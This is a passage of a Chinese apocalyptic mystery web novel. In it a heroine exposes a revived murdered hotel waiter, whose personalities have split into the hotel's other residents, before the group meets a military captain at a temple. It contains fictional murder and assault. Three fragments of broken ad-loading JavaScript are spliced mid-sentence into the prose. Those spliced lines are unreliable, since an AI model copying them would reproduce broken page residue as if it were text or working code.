“你说什么？”老头恶狠狠地盯着在远处搭话的肖与楚。 “这个酒店自发生灾难起那天就已经关门了，你们为什么要装作一副浑然不知的样子，在这里欺瞒自己？难道就为了这口饭？” “胡说八道！”老头恶狠狠地呸了一声，“都什么年代了，还在传那套末日论呢？1999年就说要毁灭，结果怎么着，照样活得好好的，现在都2012年了，还来那一套。” “2012年？”乔一伊嘀咕了一句，“他是不是老糊涂了，现在哪里是2012年……” “老先生，现在是2018年了。”林预纠正道。 “2018年……”老和尚念了一句，眉头皱了起来。 “林作家，你是不是记错了，现在不是2018年，是2019年啊。” …… 在这几个人你来我往的争论里，肖与楚一行人的精神都快要错乱了，合着他们几个都来自不同的时空？ 这又是怎么回事？ 肖与楚一时无法解释清楚，这甚至与她想象中的事情真相都大有不同。 这时谢云廷走了出来，他一脸疑惑地看着其他人，说：“不对啊，我怎么记得是2020年。” “你们都特么在放屁，今年2028年！一帮记性不好的，是我给你们养废了吧！”吴大名在厨房里吼道。 一时间所有人都沉默了。 连一直在厨房里默默忙碌的张进也被这个阵仗吓到了，他踮着脚，悄无声息地从厨房里溜了出来，坐在了廉敏佳和潺音那一桌上。 “咳咳，我听听看是怎么回事。”他道。 “小楚，这到底是怎么回事啊？”乔一伊问肖与楚。 肖与楚茫然地摇了摇头，老实说，她现在的确有一些糊涂，脑海里除了对一件事清楚外，对其他事还是一团乱麻的状态，需要点时间理清楚。 这几个人为了今夕是何年争吵了起来，且渐渐地都聚在了一张桌上，争吵声越来越激烈。 肖与楚就在一旁默默地打量，脑子也在飞速的运转。 就在众人吵得不可开交的时候，一阵叮铃铃的声音突然从服务台传了过来…… 27. 027 “叮铃铃——叮铃铃——” 服务台的电话铃像是魔音一样敲打着每个人的神经，大家的目光都定定地看着服务台的方向，但却没有一个人敢上前接听电话。 “电话应该早就不通了吧，这个时候居然会响，是不是在闹鬼啊……”乔一伊嘀咕。 “什么是电话？”坐在她背后的潺音问。 “就是……”乔一伊欲言又止，她觉得这不是一时半会儿就能解释清楚的问题，便挥了挥手说：“不重要。” “奶奶的，这个酒店真是越来越离奇了。”张进打了个冷颤。 还是肖与楚站了起来，她不顾大家的惊愕，大摇大摆地往服务台的方向走去。 在她到达之前，电话铃声没有停止下来的趋势，直到他接起来了电话。 “喂，你是？”肖与楚问道。 电话那头传来均匀沉稳的呼吸声，不一会儿那头开口问道：“请问是鸿鑫酒店吗？” 肖与楚不知道该如何形容这个人的声音，冷漠有磁性，像是经受过什么专业训练一样。 “是，你是哪位？”肖与楚不紧不慢。 “我是谁不重要，重要的你是谁？是人，还是天外来物？” “我当然是人了。” “是吗？”声音还是很冷，“有没有一个叫潺音的女士住在那家酒店？” 肖与楚想了想说：“有。” “我想和她说话。” 肖与楚满脑子疑惑，但还是冲着潺音挥了挥手，那些争吵的人就那样看着她，没有任何动作。 潺音没几秒种就跑到了肖与楚旁边。 “何事？” “他说要跟你通话。” “他是谁？” 肖与楚摇了摇头，她示意潺音拿起听筒。 潺音看着这陌生的东西，犹豫了一会儿，还是学着肖与楚的样子，拿了起来。听到听筒那边传来声音，她吃了一惊。 “你说什么？” “我不明白你的意思。” “我会告诉活着的人的。” “再见？” …… 潺音皱着眉头，把电话递给了肖与楚。 虽然听筒里的声音很低，但是肖与楚听到了一些，如果她没听错，那人声称他是秋呈住持的朋友，他在两个小时后要毁了鸿鑫酒店，让这里的活人尽快出去。 “他们为什么要毁了这里？”肖与楚问一脸疑惑的潺音。 “你都听见了？” “听见了一部分吧。” “他说这里的东西不受控制，危险系数很高。为了安全，必须毁了这里。他还说外面艳阳高照，只有宏鑫酒店在下雨。” “是吗？”肖与楚抬眼看去，外面的确还在下大雨。所以这里已经变成了一个与世隔绝的单独的世界？他们到底是被困在了什么样的环境之中呢？ “总之，他说他会准时执行命令，我猜他应该也是行军打仗之人。” “是谁打来的电话？”远处的谢云廷跑了过来，急切地问肖与楚。 肖与楚摆了摆手说：“没有谁，感觉是电话坏了。” “是吗？”谢云廷拿起听筒看了一眼，随手把它搁在了桌上，“现在就是很容易发生这种诡异的事。两位女士，回去继续用餐吧。” 肖与楚点了点头，虽然她还不清楚完整的事实是什么，但眼下她感觉有必要解开部分事实的真相了。 就这样，肖与楚和潺音回到了餐桌上，那些人因为电话的突然打断，似乎也逐渐平静了下来，他们看起来准备回到各自的餐桌继续用餐。 谢云廷把肖与楚和潺音送回座位后，也准备回厨房去，肖与楚却一把拉住了他。 “你等等，我有话想问你。”肖与楚说着不等谢云廷回话，就一手扯下了他的胸牌。 谢云廷措手不及，他捂着胸口，赤红着脸问道：“你扯我胸牌干什么？” “这个胸牌是你的吗？” “当然是了，这种东西我有必要拿别人的吗？你快还给我！” “对啊，你抢人胸牌干什么，快还给他。”吴大名也凶了起来。 肖与楚嘴角微微上扬：“既然是你的，为什么跟鸿鑫酒店最新的胸牌不一样呢？” 肖与楚说着把另一个员工胸牌拿了出来，这是她在废弃的防空洞里见到的一枚，可以看出来，两枚胸牌显然一个老款一个新款。 而别在谢云廷胸口的是老款胸牌。 “我……我新的丢了。”谢云廷急红了脸。 “恐怕不是丢了这么简单吧？”肖与楚并不慌张，两个小时，足够讲出这个故事了。 “就是丢了……”谢云廷无力地辩解。 肖与楚笑了笑，接着说道：“谢云廷，出生于1998年2月8日，失踪于2020年7月4日。” “失踪？”张进差点从桌上跳起来，“小楚姐，你别说胡话啊，你的意思是他八年前就失踪了？” “你听我说完。”肖与楚无奈地斜睨了张进一眼，“不要打断我，很耽误时间。” 张进伸出一根手指想说什么，但最终还是憋回去了。 “2020年7月，鸿鑫酒店报案，说酒店一个服务员离奇失踪，不知下落。警方立即组织警力寻找，鸿鑫酒店的老板蒋柳林，更是悬赏10万元，向社会征集有用线索。一时间，寻找谢云廷这件事在林川市引起了轩然大波，各种小道消息层出不穷。” “但问题是，没有人知道谢云廷到底去了哪里，因此就算蒋柳林悬赏100万元，这个金额也永远兑现不了。” 谢云廷嘴唇紧闭，脸色憋得发红，但他没有出声，只是紧紧地盯着肖与楚。 “眼看着事情过去了半年，依旧没有谢云廷的踪迹，蒋柳林又提高了一次悬赏金额，接着他还代表鸿鑫酒店去给谢云廷的家人送了慰问金和慰问品。他的这一举动，在林川市的街头巷尾被传为佳话，人人都说他是个体贴员工的好老板，鸿鑫酒店的口碑也因此再上了一层楼。” 吴大名若有所思地点了点头，似乎是在同意肖与楚的话。 “谢云廷，我说得对吗？” 谢云廷捏紧了拳头，好像随时都要像肖与楚招呼过来，可是他的表情中却又有一种难以言喻的复杂情绪。 “这些你以前就知道了？”这话是廉敏佳问的，她很好奇。 肖与楚摇了摇头道：“不是，这些东西都存在酒店的档案室里。作为鸿鑫酒店掌门人的蒋柳林把这些东西当做战利品一样存了起来。” “战利品？” “对啊，战利品，他杀了一个人，换来的不是法律的惩罚，而是社会的褒奖，对他来说怎么不算战利品呢？” “你的意思是，他杀了谢云廷？” “不对！谢云廷不就在面前吗？他还活着。” “你是疯了吧，在这儿胡言乱语。” …… “我没疯。”肖与楚的视线扫过了在场的每一个人，她没想到在末日世界居然还要像剧本杀一样去解开一个谜题。她试图从在场所有人脸上寻找蛛丝马迹。“这些事情也不是我编的，谢云廷的确死了，也的确是被蒋柳林所杀。” “一个好端端的老板，为何要杀一个服务员呢？”秋呈不解地发问。 “这个问题，如果让我自己去思考，我也说不出什么合理的答案。但幸运的是，并不需要我去思考。已经有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人把它写出来了。” 林预身子一颤。 “谢云廷之所以被杀，不是因为他惹怒了老板，也不是因为他工作做得不好，而是因为他撞破了老板的违法勾当。” “蒋柳林，一个企业家，一个被社会褒奖过无数次的知名人士，实际上是个不折不扣的瘾君子，他经常和几个臭味相投的人聚集在酒店会所里，干着这些勾当。那日凌晨，他又把这些人带回了会所。好巧不巧，那日是谢云廷值班，他平日就是个对工作很负责的人，还被评为好几次先进工作者。他听见会所吵吵闹闹的，以为遭了什么贼，便跑过去看，却未料刚好碰见蒋柳林和其他人正在……” “谢云廷很震惊，他从未想过人前和蔼的老板，居然是这副狼狈不堪的模样。他急忙从会所冲出来，却被拦住了。也难怪啊，和蒋柳林在一起行肮脏之事的人，都是社会上有头有脸的角色，被一个不知道姓名的人撞破，自然气急败坏，那日的情形大概是这样的……” 谢云廷战战兢兢地站在蒋柳林和其他一干人面前，他不敢抬头看其他任何人，仿佛只要多看一眼，他这条命就会在这些大人物的碾压下，灰飞烟灭。 “老板……我发誓什么都没看见，你相信我……”谢云廷求饶。 “你什么都没看见，还知道我就是你老板？”蒋柳林的声音有些含糊，但却让谢云廷吓得不轻。 “老板，我只是……只是在值班。” “既然是值班，应该知道，鸿鑫酒店的规矩，这个会所没有我的允许谁也不能进，你进来干什么？现在看到了不能看的东西，我该拿你怎么办？”蒋柳林的声音像他在开员工大会一样浑厚，在房间里回荡。 其他人发出了窃窃的笑声，这笑声在谢云廷听来格外刺耳。 “老……老板，”谢云廷扑通一声跪在了地上，“您给我发工资，就是我的再生父母，我肯定不会乱说的。” “嘿……”蒋柳林笑了起来，“你这小子，怎么说跪就跪啊……等等，等等，你刚刚说什么，你说我给你发工资，对吗？” “嗯。” “你现在是在勒索我？让我给你涨工资？” “不不不，我……我没有这个意思。” “我看你好像有这个意思，”蒋柳林收起了笑容，一脚将谢云廷踹到了地上。“我蒋柳林生平最恨别人威胁我了。” 说话间，蒋柳林已经站了起来，他的皮鞋落在谢云廷的脸上，腰上、腿上…… “你他妈就是一条狗，不对，是狗都不如的东西，还敢跟我要求涨工资，我涨你XX！不是老子给你班上，你他妈连饭都吃不起！狗东西……”数不尽的，侮辱人的词从蒋柳林的嘴里蹦出来，像是利剑一样插进了谢云庭的身体里。 谢云廷蜷缩成一团，不断地求饶。 “哈哈哈哈哈，哥儿几个，这家伙交给你们了，你们想怎么玩怎么玩……” 想怎么玩怎么玩？难道我是什么不重要的玩具吗？ 谢云廷感觉到身上的疼痛越来越多，衣服似乎也被扒走了，衣服上的胸牌就在他的眼前晃来晃去。 鸿鑫酒店谢云廷。 他记得他入职那一天，吴经理跟他说，只要努力，就能获得晋升机会，就会赚更多的钱，他一直很认真的工作，一直把酒店当做自己的家，哪怕遇到委屈也只是自己默默承受，可这就是他等来的结果吗？ 凭什么有钱有权的人，就可以欺负穷人？ “我要告你们！我要告死你们！”谢云庭歇斯底里地喊道。 这是他最后发出来的声音。黑暗包裹住了他的眼睛，他的身体，他的灵魂。 他就像一缕轻飘飘的烟一样，在这世间消失了。 28. 028 没有人会记得谢云庭的名字，即便他以失踪人口的身份上过新闻，即便有人花了很多钱来寻找他。 但仍然没有人记得他。 要不然眼前这几个人为什么看到胸牌的时候就没想起来他的名字呢。他于谁而言，都不重要，即便是生他养他的父母，也从未想过要寻找真相吧。 他就躺在那个阴暗潮湿的防空洞了，一躺就是八年。 谢云廷的脸上浮现出了一丝惨白的微笑，他冷冷地说道：“你说完了吗？” “差不多了。”肖与楚说。 “这些事你都是从林作家的小说里知道的吧？” “是啊，虽然只看到了一点点，但连蒙带猜，总能窥探点真相。” “你去过那个废弃的防空洞，该看见的都看见了？” “都看见了。你杀了很多人。” “嗯，我还杀了蒋柳林，他这个懦夫，看到我的时候都快吓得尿裤子了。他说他给我钱，给我物资，真是奇怪了，都这种时候，要钱有什么用，而且我又不吃人类吃的食物，那么难吃……” “哎，你……”张进和谢云廷冷冰冰的眼神接触，再一次生生把话憋了回去。 “反正这个世界都走到尽头了，这些人活着还是死了，根本没人会关心。不过我对这个酒店还是有感情的，我们家穷，我16岁就进这家店干活了，进店第一天，我的直属领导吴大名就说‘酒店是我家，爱护靠大家’，我记得这句话。” 说着谢云廷看了吴大名一眼，吴大名只是愣在那里，不发一言。 “我喜欢这份工作，毕竟不用去厂里打螺丝，每天还能看到各种有钱人，他们随随便便一件T恤都比我几个月工资还贵，我真羡慕他们。可是羡慕有什么用呢，我天生就没那种命，我只希望我能过上属于自己的好日子就行了。只要我肯干，总有一天能过上的。” 谢云廷笑了。 “我攒钱，攒到钱了就去读夜大，毕竟要想在林川市扎根，总得多读点书才行。可我爸妈觉得我浪费钱，他们一辈子劳碌命，视野也就只有那么一点点。我不怨他们。哎……扯远了，我就是因为喜欢这家酒店，所以活过来之后，才决定留下来的。” “你是怎么活过来的？” “我也不知道，”谢云廷并不隐瞒，“干枯的身体在一瞬间就有了生机，就好像被人重新注满了能量一样，我从那个潮湿阴暗的地方醒了过来，刚开始并没有什么意识，只是一种直觉在驱动我去做事，等我出了防空洞后，记忆就像洪水一样在我脑海里泛滥，我想要报仇……再后来，我就一个人坐在大堂里，发呆。再后来，我就在酒店里闲逛，直到看到他们一个个来，我就扮演起了服务员，来为大家服务。” 不对啊……肖与楚立即想到了那些人争执年代的样子，他们的记忆分明都不在同一个时空，怎么可能是这一个月内遇见的。 “你这个人，杀了那么多服务员，却不杀他们，这也太奇怪了。” “我不是也没杀你们吗？” 还是不对，谢云廷的说法站不住脚，这其中一定还有什么无法解释的事。肖与楚的目光挪到了小野身上。 小野耸了耸肩，慢悠悠地站了起来。 看她那副胸有成竹的样子，肖与楚知道，她恐怕已经知道眼前这个东西的底细了。 “谢叔叔，你记得他们都是什么时候入住酒店的吗？” “不记得了。” “嗯，那不就结了，他们根本不是入住的客人，他们不过是你的一部分。” “他的一部分？” “你这话说的我彻底糊涂了？难道这些人都是他身上的肉？” 小野摇头，她道：“我猜测，这些人应该都是他在这里工作以来，影响最深的几个人吧。那对老夫妻，有权有势，但是爱无理取闹，说不定还是这里的长住客户，谢云廷肯定没少吃他们的苦头。还有小丁母女，小丁在这里清修，人很漂亮，又温柔善良，说不定是谢云廷仰慕的人；至于和尚，应该是什么时候点拨过谢云廷几句吧；至于这个林作家，说不定谢云廷也有当作家的梦呢；哦，吴大名……嗯，谁上班没有遇到几个烂领导呢？” “哦……明白了，多重人格。”乔一伊说完自我赞同地点点头。 “说的你一个小孩好像上过班似的。”张进说。 “我没上过，我学过哇。”小野瞪了张进一眼。 这么一说，肖与楚终于明白了，为什么这些人嘴里说的都是不同的年代，原来是这么回事。 “哈哈哈哈哈——”谢云廷笑了起来，他的脸色逐渐变得狰狞，再也不是那个人畜无害的服务员了。“我自问待你们还不错，但你们这几个人，不知道感恩我把你们留下来，还一步一步逼我，我到底怎么对不起你们了？” “你没有对不起我们。”肖与楚实话实说。 “既然没有对不起你们，为什么要打破我的梦？我只不过想要一个自己的酒店而已……” “这个世界已经没有了。”肖与楚的话掷地有声。 谢云廷眼神一颤。 “旧的规则已经不存在了，我们都不过是在这个世界苟延残喘。而你，也是借助了其他时空的不可控的力量才变成了这样，你又何必再执着这个酒店，不会再有其他的客人来了。” 谢云廷没有因为肖与楚这么说就变得更加理解这个新世界的规则，他更加愤怒了，眼神冒出了愤怒的火苗。 “我凭什么放弃？我为什么要放弃？”他怒吼道。 可这不仅仅是他一个人的怒吼，是除开肖与楚一行人外所有人的怒吼，他们的眼神像丢失了焦距一样，身子也变得直挺挺，齐齐地向肖与楚几个人围了过来。 “完了。”张进率先抄起了桌上的餐盘。 与此同时，桌上水杯里的水滴腾空而起。 肖与楚则拖过手边的椅子，潺音抽出了手中的长剑，乔一伊和小野则乖巧地躲在了墙角里。 “你们会永远被困在这里！”谢云廷再次怒吼。 他的脸开始皲裂，露出了干尸一样的皮肤，其他人的皮肤也发生了诡异的同性质的变化。 等等……肖与楚的眼神在这几个人身上一一扫过，分明这其中有个人的脸，还是人类的脸。 “你……”肖与楚看着林预。 林预自知身份暴露，一个箭步朝肖与楚这边冲了过来。 “啪——” 张进手上的盘子朝着林预的脑袋砸了下去，林预两眼一翻，倒在了地上昏死了过去。 可即便少了林预一个，眼前还有七个人，他们齐刷刷地围过来，不说视觉上的压迫感，就他们身上那些逐渐变得干巴的皮肤，就足够让人胆战心惊了。 潺音一剑朝老头刺去，老头发出一声尖利的喊叫，但却毫发未伤，他的嘴裂开了，露出一些奇形怪状的牙齿。 “你们逃不出去的！” 每一次的对话都是和七个人的对话，他们现在已经成为了一体 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 太难对付了。 偏偏这种时候，小野她还在那个包里不停地翻找，不知道在找些什么东西。 “哎哟。”张进叫了一声。 肖与楚看过去，才发现他受伤了，胳膊上流出了殷红的血。她也没来得及关心他，因为下一秒，她就感觉到脸一阵刺痛，谢云廷划破了她的脸。 在这其中，唯有在战场上大杀四方的潺音能独当一面，在七个人之间灵活游走，并且能调动每个人。 不一会儿，餐厅就被弄得乱七八糟，甚至连墙壁都变得暗沉了起来。 “小野！”肖与楚催促道。 “来了，来了。”小野说着从她的口袋里掏出了一个小药瓶。 肖与楚这段时间见过的奇奇怪怪的瓶瓶罐罐也不少了，她有时觉得小野跟什么时空记录没关系，他们这个族的真实身份恐怕是炼药的。 混乱之中，小野把药瓶递给了廉敏佳。廉敏佳一愣，立即回过神来，她手脚麻利地将药瓶里的东西倒进了水杯里，手端起水杯猛地摇匀。 紧接着，水杯里的水如一条带子一样升了起来，搜地一声，飞向了那七个人。 那一瞬间，整个餐厅突然就变安静了，好像一切都被什么东西凝固住了一样。 那七个人的脸上不约而同地露出了困惑的痕迹，他们的手脚像是被融化了一般，开始往地下滴红褐色的水。 一滴一滴，滴在地板上。 “你们……你，对我做了什么？”谢云廷大怒，他目光愤然，全定在小野身上。 “275号时空的多魂腐生者，你怎么运气就那么好呢，刚好遇见了一具尸体，还是带着怨气的。” “什么叫我运气那么好，你到底是谁？”各种音调重叠的声音在房间里叫嚣。 “我是谁不重要啊，重要的是你要完蛋啦！”小野保持着微笑。 “我不会完蛋的，我不会……”撕裂的喊叫声弥漫着整个餐厅，让人的耳朵都感到不适。但是那声音越来越弱，很快就消失殆尽了。 众人看着满地污秽的液体，有种说不出口的诡异和荒谬感。 “这就……没了？”张进捂着胳膊，难以置信地说道。 “没了，烟消云散啦。” “小野，你那到底是什么东西，那么厉害？”乔一伊问道。 “这个不能说，而且具体的成分我也没办法说清楚。”小野露出一个明媚的笑容。 窗外的雨终于停了下来，或许也不是下雨，只是一时的幻象。这种叫多魂腐生者的生物实在太强大了，还好他生不逢时，不然不知道要造多大的孽。 “我们是不是赶快离开这里？”潺音问道。 “对，得赶紧离开。” 肖与楚刚说完，餐厅就摇晃了起来。 张进抬头看了一眼天花板，漫不经心地问道：“这是……怎么回事？” “这还用问，当然是餐厅要倒了啊，快跑！”肖与楚喊着抱起小野，一溜烟地朝后厨楼梯跑去。 其他人见状也迅速跟在她身后下楼。 “哎，等等我啊。”从地上爬起来的林预捂着额头，一边疼得嗷嗷叫，一边喊。 在众人跑出附楼时，附楼轰然坍塌，不仅是附楼，整个鸿鑫酒店似乎都在一种摇摇欲坠的状态之中。 在他们跑出停车场的那一刻，酒店大楼像一块被打散的积木一样，跌到了地面。 一切都随着谢云廷的消失而消失了。 29. 029 “呼——呼——累死我了，我们这是什么霉运，怎么总是碰到这种怪东西。”张进捂着胳膊上的伤口，一屁股坐在马路牙子上。 天上没有落雨，但是天气还是阴沉沉的，城里的水也还没有退去的迹象。 其他人也累了，陆陆续续沿着马路坐了下来处理伤口，落在最后的林预，坐得离他们几个人远了些。她不知道从哪里摸出来一包烟，兀自抽了起来。 肖与楚检查了下伤口，只是皮外伤，这些伤对现在的她而言算不上什么。 “没想到你们这群人还挺厉害。” 看他们忙碌完，坐在远处的林预突然开口说话了，他的表情不咸不淡，也没有刻意恭维的意思。 “只可惜这么好的一个酒店给毁了，有吃有喝的日子也结束了。”林预望着那堆废墟感叹。 “有吃有喝是不错，但那小子也杀了太多人了，已经走火入魔了。”张进搭话道。 “他就是个可怜人，陷在自己的怪圈里走不出来了。”林预叹口气，“其实住在这里不坏，有吃有喝，总比每天在外面不知道是生是死强。” 张进呵呵一笑：“兄弟，你真想得开。” “都这样了，总得往好处想，不然活不下去啊。”林预瘦削的脸上挂着惨淡的微笑。 “你也挺厉害的。居然一直没被他发现，是不是有什么特殊的能力啊。”肖与楚故意这么说道。 “我是运气好。”林预说着回忆起了往事，“最开始世界发生混乱的时候，我正在这边爬山，当时一片大乱，我没地儿去，发现酒店还有人，就过来看看。哎，谁知道那些人把我拦在外面，说这个酒店是私人领地，不让我进。我不服气，就找机会偷偷溜了进去，一开始还挺开心，但是渐渐就觉得不对劲，谁知道那家伙居然杀了那么多人……” 林预把烟头丢在地上，又用力踩了踩。 “我一直在酒店附近东躲西藏。后来酒店就只剩下他一个人了，我感觉他好像在忙些什么，接着又发现酒店的人慢慢多了几个，我这个人好歹也是吃过的玩过的，一来二去，就发现他们好像在玩什么角色扮演之类的。” “他们玩角色扮演，你又是怎么混进去的？”张进百思不得其解。 “这个嘛，你听我慢慢说啊。有一天早上，我躲在酒店的一个房间里睡觉，听到外面有声音，抑制不住好奇心作祟，就偷偷拉开窗帘看了一眼，你猜怎么着？谢云廷一个人站在防空洞前，好像是自言自语在吵架。我正琢磨他自己跟自己吵什么劲呢，就眼睁睁地看到从他身上分裂出来一个人。” 林预说到这里，深沉吸了口气，脸部神经也有些抽搐，似乎是因为曾经亲眼见到过那种场景，所以现在还有一些后怕。 “那是一个完整的人！我吓个半死！而且我记得分裂出来的还是弘愿寺的住持。自那时起，我就知道这里的每个人其实都是他的一份子。直到我看到那位作家……他长着跟我一模一样的脸。” “啊？” “你以前见过谢云廷？” “应该是吧，”林预挑眉，“应该就是在这个酒店里，但我不记得了。看着别人跟我顶着一样的脸，心情还挺复杂的。” “太巧了。” “是啊，与此同时也有一个疑问在我心里产生了：被分化出来的人格，就完全没有自我吗？” 林预说着否定地摇了摇头，带着他的长发也一甩一甩。 “不是的，当谢云廷专注于酒店的时候，其实他们每个人都在逐渐形成自己独立的人格，那个被复制的我就会呈现这一点，我猜可能是因为他要把这个故事记录下来的原因吧，所以需要经常思考。他那几天焦头烂额，突然每天都在花园里踱步，我的脑海里就顺势冒出来了一个想法。” “你杀了他？” 林预的眼眸突然变得阴沉。“嗯，我杀了他。我太饿了，实在是没办法。哎，我还以为他会反抗，可他看到我的脸，根本没有反抗，任由我宰割，直到咽气。” “我不停地安慰自己杀的是个假人，没关系，我拿着他的手稿回了酒店，谢云廷就在大堂，我吓得都快疯了，可是他没有怀疑，还点头对我微笑。简直是太讽刺了……” “你真行……” “就这样我以我自己的身份住下来了，所有他的分身都沉浸在这个游戏里，我自然也不例外，直到你们来了……” 林预的眼神一一扫过眼前这些人。 “这是酒店第一次来陌生人，刚开始我不知道他把你们放进来的目的是什么，后来才知道他可能就是享受酒店服务的乐趣。我看你们几个也不像普通人，估计很快就会发现这里的真相，就帮了一把。” 肖与楚：“那天你带着那些手稿去花园，是故意让我们看的？” “可以这么说吧，我虽然挺享受在这里的日子的，还是不想让你们遇到危险……就是刚刚在餐厅，有点演过头了，差点没被这位兄弟弄死。” “你还真是胆大。” “毕竟演了好一阵子了，再多演几分钟也没什么。万一你们弄不死他，我还可以继续装。”林预毫不掩饰。 “你真的完全不记得谢云廷了？” “不记得。”林预摇头，“我猜那些人应该也不记得他。他在酒店就是个小人物，谁会记得一个不起眼的小人物呢。” 林预的话很轻，但又很重，飘散在风中，飘进了每个人的耳朵里。 过去的就过去吧。 肖与楚起身说道：“小野，我们去废墟看看，等看完我们去弘愿寺。” “这个主意不错，刚好可以去拜拜，去去晦气。”乔一伊表示赞同。 等处理好鸿鑫酒店的一切后，一行人就往山上的弘愿寺走去，林预也跟着他们。 弘愿寺的山门大开，仿佛在等他们来似的，这寺庙附近的确不一般。 这不一般之处就在于，眼下大多数地方都已经被反复的极端天气折腾得不像样，但弘愿寺却跟往日所差无几。 唯一的差别就是和尚都跑了，只剩下几只小野猫在大门口晃荡。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 肖与楚一行人没有任何人阻拦就鱼贯而入，一进到院子里，就感觉有一股淡淡的香火味扑面而来。 在他们前方，就是威严的天王殿，跟以前相比，也并无太大的变化。 “真好闻啊。”乔一伊突然低声感叹。 张进：“这有什么好闻的？” “这就是原本人间的味道啊。”乔一伊说，“难道你不觉得这种气味能让人想到以前那种平静的日子吗？” “这位女士有诗意，”林预附和道，“平日里这里香客还是太多了，弄得跟烧烤似的，现在这点淡淡的气味刚刚好。” “那位住持就在大雄宝殿。”潺音对他们说的这一切并无兴趣，只想赶紧见到那位住持。 众人穿过天王殿，大雄宝殿四个大字出现在了眼前，黑色的屋顶映衬着背后的乌云，更添一丝庄严肃穆的气息。 大殿上隐隐传来诵经的声音，门前香炉还散着袅袅的烟。肖与楚看见旁边供桌上还放着一些新的香火，便从中取了三根，在香炉里点燃、挥灭，祭拜，插进香炉，当是帮谢云廷祈福。 除了潺音，其他人也照做了，不过大家心里却各有所愿，尽管这些愿望在眼下看来虚无缥缈，但饱含希望总比漫无目的强。 做完这些事，肖与楚一行人才走进了大雄宝殿。 大殿里，一个穿黄衫，两个穿青衣的和尚，正盘坐在佛像前，一边敲木鱼，一边念念有词。 那婉转的声音回荡在大殿里，让肖与楚的心短暂地平静下来。她刚想上前，就听到大殿一侧传来一个声音。 “你们来了。” 她循声望去，一个穿着黑色制服的高大身影站在大殿一侧，正注视着他们。 肖与楚听出来了，这是给她们打电话的男人的声音。 “你是……？” “不重要。”男人的脸在大殿光影作用下，不是很清晰，但仍然可以看出来有一张轮廓分明的脸，大约三十出头，鼻子高耸，剑一样的眉毛微微上翘，嘴唇很薄。 如果是平时，看到这样长相标致的人，肖与楚肯定会多看两眼，但现在她只觉得眼前这个人有一种危险的气息。 “哦，就是你要炸了酒店。” “我无意伤害你们。只是为了消除周围的不稳定因素。”男人的语气并无波澜。 “消除不稳定因素？你这话什么意思？你到底想干嘛啊？”张进上前追问。 男人说：“我想做什么，跟你们没有关系。我早知道，你们要是能出来，肯定会上弘愿寺来。只是想提醒你们，这周围所有的酒店都已经被摧毁了，寺里也不能留人，你们应该尽快下山，找别的出路。” “你说不能留就不留，你谁啊？”乔一伊也来气了。 “我已经说了很多遍了，我是谁不重要，”男人的语气更加冷漠坚硬，“我在这里等你们出现，就已经给了你们生的机会，如果你们执意跟这些和尚一样，要留在这里，就必须承担后果。” “什么后果？” “粉身碎骨。” 30. 030 众人盯着眼前这张冷漠的脸半晌，根本就不知道他葫芦里卖的什么药。 “你们别吵啦。”大殿里诵经声戛然而止。住持秋呈站了起来，他迈着轻飘飘的步子，向着众人走了过来，那张脸渐渐和山下那位住持重叠。 两个人的眉眼几乎一模一样，只是这位看起来苍老一点，声音也更粗哑一些。 “辛队长，虽然你们临时征收了寺庙，但我们事先不是说了吗，大雄宝殿和天王殿还是归我们所有。” 队长？肖与楚听到这个称呼的时候，心里多少有些纳闷。不止是她，其他人的视线也不自觉地在辛队长身上多停留了几秒。 如今还有什么地方，会有队长这个称呼？ “那是暂时的，等一切有了眉目，你们都必须离开。”辛队长的语气不容置疑。 “你也说要等一切有眉目，现在这一切不都没有眉目吗？”秋呈不急不恼，“辛队长，他们刚刚死里逃生，理应好好休息一下，等他们休息好了再做打算也不迟。” 辛队长皱着眉头，似乎是在斟酌秋呈说的话。 “我不知道你们在做什么事，我也不会管，既然你能答应我，送我们几个去庇护所，也能送他们几个去吧？” 庇护所？听到此话的众人眼睛不约而同地亮了起来。 “秋呈师父，我答应送你们去庇护所，是因为其一，我征收了你们的寺庙，理应做补偿；其二在现在这种环境中，有几个和尚去安慰人心也不是什么坏事。但是他们——”辛队长的目光一一扫过所有人，“他们对现在的庇护所没什么价值。” “哎……你这人怎么说话呢，我好歹是个大牌餐厅的厨师，怎么就没价值了？” “你以为庇护所的厨师少吗？”辛队长眼神冷漠，“几乎所有的庇护所都满员了，你们这样没有身份没有背景的人去，连第一关都过不了。” 肖与楚从未想过去庇护所还有什么第一关，第二关。听到辛队长这么说，她的心里有一丝庆幸，也有一丝不悦。到了这个时候，这个世界的三六九等比想象中还要严苛。 “呵呵，”林预在人群后阴恻恻地笑了，“我就知道，进庇护所没那么容易，果然啊，还是有钱有权的人才能进去。” “并非有钱有权的人才能进，但有能力的人先进去这是共识，哪怕你是电工、维修工人、建筑工人都有机会。”辛队长反驳道。 乔一伊沮丧地叹了口气，一屁股坐在旁边的蒲团上。 “看来，我进去是没希望了，我又没什么一技之长，平时上班就是在互联网制造垃圾……早知道学点技术了。” 辛队长这么一说，肖与楚对进庇护所的期待也大打折扣了。她眼下当然不算没有一技之长，但是把自己的一技之长告诉庇护所的那些人，会有什么结果却是不可预知的。 至少现在，她不想那么做。 “不去庇护所也没所谓，不过辛队长，既然你说送住持去庇护所，我们也大可以等他们去庇护所的时候再离开。我向你们保证，我们绝对不会往后面去。” “不需要给我做无用的保证。看在住持的面子上，我可以答应你们留下来，但如果发现你们违反规定，只有一个字‘杀’。” 肖与楚点了点头。 辛队长最后又扫了所有人一眼，便威风凛凛地走出了大殿。 乔一伊见他走了，不由得长出了一口气。 “耍什么威风啊，这人。”她不满地嘀咕道。 “秋呈师父，这位辛队长他们到底在这里做什么？”肖与楚想看看能不能从住持这里得到关于辛队长的什么线索。 “我也不清楚，”秋呈微微摇头，“他没有说过。” “那他到底什么来头啊？”张进补充问。 “他说他是什么全球联合军的一员，正在为拯救整个星球努力。” “哈哈哈，这些人也太可笑了，这种时候了还成立什么全球联合军。”林预哈哈大笑起来，“我看啊，他们就是嫌自己活太长了，到时候怎么死的都不知道。” “你怎么知道他们会死？万一人家真想到办法了呢？”张进反问道。 “哼，”林预不屑地哼了一声，“要是有那么容易，这个世界从一开始就不会变得这么乱了。” “你说这话到底什么意思啊？我怎么听不明白？” 